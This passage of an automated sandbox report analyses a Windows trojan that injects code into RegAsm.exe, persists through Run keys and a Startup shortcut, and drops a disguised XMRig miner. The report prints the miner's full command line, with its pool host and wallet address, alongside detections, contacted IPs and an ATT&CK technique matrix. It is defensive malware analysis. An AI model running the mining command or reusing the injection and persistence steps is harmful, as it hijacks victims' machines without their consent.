Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 1210000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2E80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2CC0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Window / User API: threadDelayed 5197

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7456	Thread sleep count: 5197 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7456	Thread sleep time: -5197000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7456	Thread sleep count: 196 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7456	Thread sleep time: -196000s >= -30000s	Jump to behavior

Source: Driver.exe, 00000002.00000002.1743254277.00000000004E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW FO%SystemRoot%\system32\mswsock.dll
Source: Driver.exe, 00000002.00000002.1743254277.00000000004E5000.00000004.00000020.00020000.00000000.sdmp, Driver.exe, 00000007.00000002.3093652919.0000000000431000.00000004.00000020.00020000.00000000.sdmp, Driver.exe, 00000010.00000002.3707277603.0000000000581000.00000004.00000020.00020000.00000000.sdmp, Driver.exe, 00000014.00000002.4118678441.0000000000421000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Driver.exe, 00000007.00000002.3093652919.0000000000431000.00000004.00000020.00020000.00000000.sdmp, Driver.exe, 00000010.00000002.3707277603.0000000000581000.00000004.00000020.00020000.00000000.sdmp, Driver.exe, 00000014.00000002.4118678441.0000000000421000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWws\System32\en-US\wshqos.dll.mui

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_012132F0 LdrInitializeThunk,

1_2_012132F0

Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Code function: 0_2_00FCC90D mov eax, dword ptr fs:[00000030h]		0_2_00FCC90D
Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Code function: 0_2_00FC6108 mov ecx, dword ptr fs:[00000030h]		0_2_00FC6108

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe

Code function: 0_2_00F8E824 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00F8E824

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe

Code function: 0_2_001E018D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_001E018D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 7FA000	Jump to behavior
Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 7FC000	Jump to behavior
Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: C4A008	Jump to behavior

Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 444 -p 7476 -ip 7476	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7476 -s 764	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 476 -p 7632 -ip 7632	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7632 -s 864	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 544 -p 6272 -ip 6272	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6272 -s 864	Jump to behavior

Source: conhost.exe, 00000015.00000002.4119627710.000002845D530000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: conhost.exe, 00000015.00000002.4119627710.000002845D530000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: conhost.exe, 00000015.00000002.4119627710.000002845D530000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: conhost.exe, 00000015.00000002.4119627710.000002845D530000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00FD90B5
Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_00FD8C84
Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Code function: GetLocaleInfoW,	0_2_00FD8E7F
Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Code function: EnumSystemLocalesW,	0_2_00FCA871
Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00FD9431
Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Code function: EnumSystemLocalesW,	0_2_00FD902A
Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00FD9606
Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Code function: EnumSystemLocalesW,	0_2_00FD8F8F
Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Code function: GetLocaleInfoW,	0_2_00FD9537
Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Code function: GetLocaleInfoW,	0_2_00FCB32D
Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Code function: EnumSystemLocalesW,	0_2_00FD8F26
Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Code function: GetLocaleInfoW,	0_2_00FD9308

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe

Code function: 0_2_00F8EDF4 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00F8EDF4

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	21 Registry Run Keys / Startup Folder	412 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	21 Registry Run Keys / Startup Folder	3 Virtualization/Sandbox Evasion	LSASS Memory	111 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Disable or Modify Tools	Security Account Manager	3 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	412 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
kWYLtJ0Cn1.exe	50%	ReversingLabs	Win32.Trojan.Fragtor
kWYLtJ0Cn1.exe	100%	Avira	HEUR/AGEN.1316902
kWYLtJ0Cn1.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	61%	ReversingLabs	Win64.Trojan.DisguisedXMRigMiner

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://xmrig.com/wizard	0%	Avira URL Cloud	safe
https://xmrig.com/wizard%s	0%	Avira URL Cloud	safe
https://xmrig.com/docs/algorithms	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
pool-fr.supportxmr.com	141.94.96.195	true	true		unknown
pool.supportxmr.com	unknown	unknown	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://xmrig.com/wizard	Driver.exe, 00000002.00000002.1744696812.0000000140001000.00000040.00000001.01000000.00000006.sdmp, Driver.exe, 00000014.00000002.4119483358.0000000140001000.00000040.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
https://xmrig.com/wizard%s	Driver.exe, 00000002.00000002.1744696812.0000000140001000.00000040.00000001.01000000.00000006.sdmp, Driver.exe, 00000014.00000002.4119483358.0000000140001000.00000040.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
https://xmrig.com/docs/algorithms	Driver.exe, 00000002.00000002.1744696812.0000000140001000.00000040.00000001.01000000.00000006.sdmp, Driver.exe, 00000014.00000002.4119483358.0000000140001000.00000040.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
141.94.96.195	pool-fr.supportxmr.com	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	true
141.94.96.71	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	true
141.94.96.144	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1479411
Start date and time:	2024-07-23 15:44:36 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	kWYLtJ0Cn1.exe renamed because original name is a hash value
Original Sample Name:	917f9d9d484f8657efc7f60b8adde947.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.mine.winEXE@29/2@1/3
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: kWYLtJ0Cn1.exe

Simulations

Behavior and APIs

Time	Type	Description
09:46:07	API Interceptor	8071x Sleep call for process: RegAsm.exe modified
14:45:31	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Driver C:\Users\user\AppData\Roaming\Sysfiles\RegAsm.exe
14:45:40	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Driver C:\Users\user\AppData\Roaming\Sysfiles\RegAsm.exe
14:45:49	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
141.94.96.195	http://pool.supportxmr.com	Get hash	malicious	Unknown	Browse	pool.supportxmr.com/favicon.ico
141.94.96.71	h2UFp4aCRq.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	http://pool.supportxmr.com	Get hash	malicious	Unknown	Browse
	http://pool.supportxmr.com	Get hash	malicious	Unknown	Browse
	01904399.dat.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	KMSPicoSetup.exe	Get hash	malicious	Xmrig	Browse
	target.ps1	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	file.exe	Get hash	malicious	RHADAMANTHYS, Vidar, Xmrig	Browse
141.94.96.144	FieroHack.exe	Get hash	malicious	Xmrig	Browse
	h2UFp4aCRq.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	curriculum_vitae-copie.vbs	Get hash	malicious	Xmrig	Browse
	curriculum_vitae-copie_(1).vbs	Get hash	malicious	Xmrig	Browse
	curriculum_vitae-copie.vbs	Get hash	malicious	Xmrig	Browse
	Vsob3IooE7.exe	Get hash	malicious	Xmrig	Browse
	GameBar.exe	Get hash	malicious	Xmrig	Browse
	FTrondtloadws.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	GoogleUpdate.exe	Get hash	malicious	Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pool-fr.supportxmr.com	updater.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	xjSglbp263.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	gwRQinPOHB.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195
	FieroHack.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195
	FieroHack.exe	Get hash	malicious	LummaC, Xmrig	Browse	141.94.96.195
	gVRqUej0ci.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	h2UFp4aCRq.exe	Get hash	malicious	LoaderBot, Xmrig	Browse	141.94.96.144
	setup.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	141.94.96.71
	SecuriteInfo.com.Win32.Evo-gen.18867.15916.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	http://pool.supportxmr.com	Get hash	malicious	Unknown	Browse	141.94.96.71

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	Fzfee1Lgc2.elf	Get hash	malicious	Unknown	Browse	137.248.101.131
	gUJak0onLk.elf	Get hash	malicious	Unknown	Browse	139.6.220.162
	updater.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195
	http://nys-ns.com/	Get hash	malicious	Unknown	Browse	141.95.124.137
	http://nys-ns.com/	Get hash	malicious	Unknown	Browse	141.95.124.137
	ZPPEqPIBy7.elf	Get hash	malicious	Unknown	Browse	130.133.207.43
	D8J2VuFPRL.rtf	Get hash	malicious	FormBook	Browse	141.95.110.31
	Pn0jlaHvxE.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	141.99.20.144
	1gx339YsKN.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	141.88.171.81
	faBNhIKHq4.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	141.89.138.130
DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	Fzfee1Lgc2.elf	Get hash	malicious	Unknown	Browse	137.248.101.131
	gUJak0onLk.elf	Get hash	malicious	Unknown	Browse	139.6.220.162
	updater.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195
	http://nys-ns.com/	Get hash	malicious	Unknown	Browse	141.95.124.137
	http://nys-ns.com/	Get hash	malicious	Unknown	Browse	141.95.124.137
	ZPPEqPIBy7.elf	Get hash	malicious	Unknown	Browse	130.133.207.43
	D8J2VuFPRL.rtf	Get hash	malicious	FormBook	Browse	141.95.110.31
	Pn0jlaHvxE.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	141.99.20.144
	1gx339YsKN.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	141.88.171.81
	faBNhIKHq4.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	141.89.138.130
DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	Fzfee1Lgc2.elf	Get hash	malicious	Unknown	Browse	137.248.101.131
	gUJak0onLk.elf	Get hash	malicious	Unknown	Browse	139.6.220.162
	updater.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195
	http://nys-ns.com/	Get hash	malicious	Unknown	Browse	141.95.124.137
	http://nys-ns.com/	Get hash	malicious	Unknown	Browse	141.95.124.137
	ZPPEqPIBy7.elf	Get hash	malicious	Unknown	Browse	130.133.207.43
	D8J2VuFPRL.rtf	Get hash	malicious	FormBook	Browse	141.95.110.31
	Pn0jlaHvxE.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	141.99.20.144
	1gx339YsKN.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	141.88.171.81
	faBNhIKHq4.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	141.89.138.130

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	h2UFp4aCRq.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	file.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	W1nnerFree CS2.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	KRZyX0PPRm.exe	Get hash	malicious	Xmrig	Browse
	lO188m2RAu.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	file.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	01904399.dat.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	Vsob3IooE7.exe	Get hash	malicious	Xmrig	Browse
	ruZVRNvu0Y.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	file.exe	Get hash	malicious	LoaderBot, Xmrig	Browse

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:///C:\Users\user\AppData\Roaming\Sysfiles\RegAsm.exe>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.310768277964914
Encrypted:	false
SSDEEP:	3:HRAbABGQYm5uOt+kiEaKC5SQn3gL4NvQJ4ovsty9ty8WddSWAnPL4cHEiWXU:HRYFVmwOwknaZ5l3gL49QJlvsty9LW61
MD5:	8A7A9D74B0F86F4C475A1369279FEA2D
SHA1:	1599024A76325836AC23AE3BE751326FF329A66B
SHA-256:	873E3DBA7B1463B9887E8026B4B0E105AFE5A463C0D31DC83860CFBBF9D59376
SHA-512:	0299F49EB7BACB6C3DEC6B8AC644ED5B0C6B42658E51651329F29A2289DFFA3DD5AF3414EA7F5A247794B6AC522BF9ECFC3A29B638FB4F3ACDEFA852B0BEC3C7
Malicious:	true
